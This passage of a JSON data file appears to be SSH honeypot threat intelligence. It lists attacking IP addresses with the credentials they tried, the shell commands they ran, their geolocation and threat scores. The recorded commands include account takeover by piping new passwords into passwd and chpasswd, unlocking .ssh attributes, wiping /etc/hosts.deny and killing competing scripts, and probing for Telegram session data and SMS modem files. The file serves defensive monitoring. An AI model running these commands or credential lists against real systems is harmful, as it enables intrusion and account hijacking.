        "Admin",
        "admin",
        "amir",
        "ansadmin",
        "deploy",
        "es",
        "git",
        "guest",
        "postgres",
        "testuser",
        "user2"
      ],
      "passwords_attempted": [
        "P@ssw0rd",
        "admin",
        "000000",
        "102030",
        "123123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "7777",
        "88888",
        "Password!1",
        "Qazwsx123",
        "Qwerty123",
        "email",
        "es@2022",
        "hadoop#123",
        "iamadmin",
        "p@$$w0rd",
        "pulamea",
        "qwerty"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"P@ssw0rd\\nhgNIOWMDrDty\\nhgNIOWMDrDty\\n\"|passwd",
        "echo -e \"P@ssw0rd\\nhgNIOWMDrDty\\nhgNIOWMDrDty\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:26:20.456000+00:00",
        "last_seen_30d": "2026-05-12T04:03:12.531000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "49.204.74.149": {
      "attack_count": 219,
      "first_seen": "2026-05-02T06:19:53.387Z",
      "last_seen": "2026-05-02T06:50:57.352Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "deploy",
        "ftpuser",
        "minecraft",
        "test",
        "345gs5662d34",
        "admin",
        "debian",
        "deployer",
        "devuser",
        "epadmin",
        "hadoop",
        "iredadmin",
        "mysqlbackup",
        "steam",
        "tester",
        "testing",
        "testuser",
        "user"
      ],
      "passwords_attempted": [
        "!QAZ2wsx",
        "112",
        "1234",
        "12345678Abc",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "@dm1n@123",
        "Ubuntu2023",
        "admin123456789",
        "adminx",
        "asmadmin",
        "boomer",
        "changeme",
        "debian123",
        "deployer123",
        "devuser@123",
        "epadmin",
        "ftpserver",
        "hadoop1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"minecraft2016\\n3BQTGCondcKd\\n3BQTGCondcKd\\n\"|passwd",
        "echo -e \"minecraft2016\\n3BQTGCondcKd\\n3BQTGCondcKd\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:19:53.387000+00:00",
        "last_seen_30d": "2026-05-02T06:52:01.252000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "89.190.156.21": {
      "attack_count": 219,
      "first_seen": "2026-05-11T09:36:02.034Z",
      "last_seen": "2026-05-11T10:02:10.021Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "ftpuser",
        "user",
        "345gs5662d34",
        "admin",
        "frappe",
        "ituser",
        "mysql",
        "odoo",
        "sammy",
        "steam",
        "test",
        "user11",
        "user6"
      ],
      "passwords_attempted": [
        "11",
        "123",
        "123456",
        "123456!",
        "123456.",
        "2222222",
        "2wsxzaq1",
        "3245gs5662d34",
        "345gs5662d34",
        "6666",
        "abc123!@#",
        "abc123d4",
        "abc@123456",
        "abcdefg",
        "admin123admin",
        "admin@163.com",
        "admin@2013",
        "adminpw",
        "asdf",
        "changeme"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"2wsxzaq1\\nAnJnaO3zzrmq\\nAnJnaO3zzrmq\\n\"|passwd",
        "echo -e \"2wsxzaq1\\nAnJnaO3zzrmq\\nAnJnaO3zzrmq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:36:02.034000+00:00",
        "last_seen_30d": "2026-05-11T10:03:13.372000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 69
      }
    },
    "196.189.155.89": {
      "attack_count": 188,
      "first_seen": "2026-05-24T01:21:35.526Z",
      "last_seen": "2026-05-24T02:12:06.206Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "builder",
        "platform",
        "ruan",
        "sanket",
        "sol",
        "ubuntu",
        "x"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1234",
        "3245gs5662d34",
        "Root1234!",
        "Wj123456@",
        "Yf123456",
        "builder",
        "platform",
        "root123!",
        "ruan",
        "sanket@123",
        "ubuntu2025",
        "x!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"builder\\ncjWwTvIe26O7\\ncjWwTvIe26O7\\n\"|passwd",
        "echo \"ruan\\nHRDJsAnAUxP7\\nHRDJsAnAUxP7\\n\"|passwd",
        "echo -e \"builder\\ncjWwTvIe26O7\\ncjWwTvIe26O7\"|passwd|bash",
        "echo -e \"ruan\\nHRDJsAnAUxP7\\nHRDJsAnAUxP7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:21:35.526000+00:00",
        "last_seen_30d": "2026-05-24T02:13:20.500000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 40
      }
    },
    "150.136.214.177": {
      "attack_count": 174,
      "first_seen": "2026-05-13T20:19:00.865Z",
      "last_seen": "2026-05-13T20:55:03.275Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "jenkins",
        "345gs5662d34",
        "admin",
        "debug",
        "guest",
        "hyperchain",
        "kamil",
        "openwrt",
        "pandora",
        "postgres",
        "psg",
        "sunil",
        "telegram",
        "ubuntu",
        "uurgatiy",
        "zhangxin"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678910",
        "2022.com",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa12345678",
        "Itsemoemo2024@Washere2024",
        "L8GnGhXyKUEF",
        "Mustafa@786",
        "Password1",
        "admin@123456",
        "debug123",
        "hyperchain",
        "kamil",
        "pandora",
        "psg",
        "qwerasdzxc123",
        "root",
        "sunil@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root\\nXVV9hX4Y4yy0\\nXVV9hX4Y4yy0\\n\"|passwd",
        "echo -e \"root\\nXVV9hX4Y4yy0\\nXVV9hX4Y4yy0\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T20:19:00.865000+00:00",
        "last_seen_30d": "2026-05-13T20:56:11.536000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 52
      }
    },
    "179.32.204.229": {
      "attack_count": 173,
      "first_seen": "2026-05-13T21:46:29.472Z",
      "last_seen": "2026-05-13T22:11:38.372Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "!QAZ1qaz",
        "110110",
        "1q2w3e4r",
        "232323",
        "3245gs5662d34",
        "345gs5662d34",
        "811014",
        "admin",
        "aqwzsx",
        "bruno",
        "butthead",
        "cantrell",
        "contact",
        "greta",
        "hunter",
        "mario1",
        "niko",
        "rasengan",
        "rootpasswd",
        "saroj"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:zqhInD7RLtSK\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:46:29.472000+00:00",
        "last_seen_30d": "2026-05-13T22:12:40.960000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 51
      }
    },
    "196.249.204.50": {
      "attack_count": 170,
      "first_seen": "2026-05-19T19:16:49.279Z",
      "last_seen": "2026-05-20T16:15:44.074Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 17400,
      "as_org": "MSTelcom",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:16:49.279000+00:00",
        "last_seen_30d": "2026-05-20T16:16:53.894000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 170,
        "Suricata": 85
      }
    },
    "103.75.71.17": {
      "attack_count": 138,
      "first_seen": "2026-05-08T20:39:33.503Z",
      "last_seen": "2026-05-31T13:11:59.187Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T20:39:33.503000+00:00",
        "last_seen_30d": "2026-05-31T13:13:06.265000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "94.180.250.11": {
      "attack_count": 121,
      "first_seen": "2026-05-23T14:04:16.307Z",
      "last_seen": "2026-05-28T10:08:43.001Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cloud",
        "exx",
        "incoming",
        "openproject"
      ],
      "passwords_attempted": [
        "!Q2w#E4r",
        "123.com",
        "345gs5662d34",
        "Wangsu@2017",
        "exxact@1",
        "fjbdfdjkdsfs541544",
        "incoming",
        "openproject"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"exxact@1\\n5pXJdZOmLMBo\\n5pXJdZOmLMBo\\n\"|passwd",
        "echo -e \"exxact@1\\n5pXJdZOmLMBo\\n5pXJdZOmLMBo\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kazan'",
      "asn": 41668,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T14:04:16.307000+00:00",
        "last_seen_30d": "2026-05-28T10:18:47.676000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 121,
        "Suricata": 42
      }
    },
    "103.85.66.217": {
      "attack_count": 108,
      "first_seen": "2026-05-28T22:45:48.389Z",
      "last_seen": "2026-05-31T03:14:15.492Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 131111,
      "as_org": "PT Mora Telematika Indonesia",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T22:45:48.389000+00:00",
        "last_seen_30d": "2026-05-31T03:15:24.355000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 8
      }
    },
    "123.165.80.206": {
      "attack_count": 72,
      "first_seen": "2026-05-18T22:05:15.043Z",
      "last_seen": "2026-05-19T01:51:56.776Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:05:15.043000+00:00",
        "last_seen_30d": "2026-05-19T01:53:06.066000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 37
      }
    },
    "203.192.227.42": {
      "attack_count": 70,
      "first_seen": "2026-05-31T00:38:47.593Z",
      "last_seen": "2026-05-31T00:45:48.326Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deployer"
      ],
      "passwords_attempted": [
        "P@s$w0rd",
        "P@ssw0rd.1",
        "admin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0U4jGiLa8KA3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 17665,
      "as_org": "ONEOTT INTERTAINMENT LIMITED",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:38:47.593000+00:00",
        "last_seen_30d": "2026-05-31T00:46:55.276000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 5
      }
    },
    "139.135.60.57": {
      "attack_count": 50,
      "first_seen": "2026-05-03T18:47:59.498Z",
      "last_seen": "2026-05-03T18:53:23.931Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:47:59.498000+00:00",
        "last_seen_30d": "2026-05-03T18:54:29.930000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "182.118.147.12": {
      "attack_count": 50,
      "first_seen": "2026-05-09T09:11:09.819Z",
      "last_seen": "2026-05-09T09:19:07.245Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:11:09.819000+00:00",
        "last_seen_30d": "2026-05-09T09:20:08.527000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.147.76": {
      "attack_count": 50,
      "first_seen": "2026-05-28T18:27:34.236Z",
      "last_seen": "2026-05-28T18:32:58.677Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T18:27:34.236000+00:00",
        "last_seen_30d": "2026-05-28T18:34:03.194000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "195.62.32.212": {
      "attack_count": 48,
      "first_seen": "2026-05-04T21:29:21.631Z",
      "last_seen": "2026-05-13T00:51:14.094Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T21:29:21.631000+00:00",
        "last_seen_30d": "2026-05-13T00:52:22.839000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "96.127.172.218": {
      "attack_count": 42,
